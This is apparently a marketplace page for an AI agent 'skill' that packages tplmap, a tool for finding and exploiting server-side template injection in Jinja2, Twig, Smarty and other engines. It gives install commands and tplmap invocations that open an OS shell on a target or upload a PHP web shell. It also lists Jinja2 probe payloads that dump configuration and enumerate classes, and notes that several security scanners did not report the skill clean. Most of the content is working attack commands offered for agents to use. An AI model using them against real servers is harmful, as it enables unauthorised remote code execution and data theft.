offensive-tools/web-app/tplmap/SKILL.md
Automatic Server-Side Template Injection detection and exploitation across 18+ template engines. Use when testing for SSTI vulnerabilities in Jinja2, Twig, Smarty, Mako, and other template engines to achieve RCE.
npx skillsauth add aeondave/malskill tplmapInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Automatic SSTI detection and exploitation — 18+ template engines.
git clone https://github.com/epinna/tplmap
cd tplmap && pip install -r requirements.txt
# Detect SSTI
python2 tplmap.py -u "http://target.com/page?name=*"
# Shell via SSTI
python2 tplmap.py -u "http://target.com/page?name=*" --os-shell
# Upload file via SSTI
python2 tplmap.py -u "http://target.com/page?name=*" --upload /local/shell.php /var/www/html/shell.php
| Flag | Purpose |
|------|---------|
| -u URL | Target URL (mark injection with *) |
| -d "k=v" | POST data |
| -H "K:V" | Custom header |
| --os-shell | Interactive OS shell |
| --os-cmd CMD | Run single command |
| --upload src dst | Upload file |
| --download src dst | Download file |
| --engine E | Force specific engine |
| --level N | Detection level (1-5) |
Jinja2 · Twig · Smarty · Mako · Pebble · Jade · Tornado · Velocity · Freemarker · Cheetah · ERB · EJS · DustJS · Nunjucks · Marko
Jinja2 manual verify:
{{7*7}} → 49 in response = confirmed
{{config}} → dump Flask config
{{''.__class__.__mro__[1].__subclasses__()}} → list classes
Automated RCE:
python2 tplmap.py -u "http://target.com/render?tmpl=*" --os-shell
| File | When to load |
|------|--------------|
| references/ | Manual SSTI payloads per engine |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.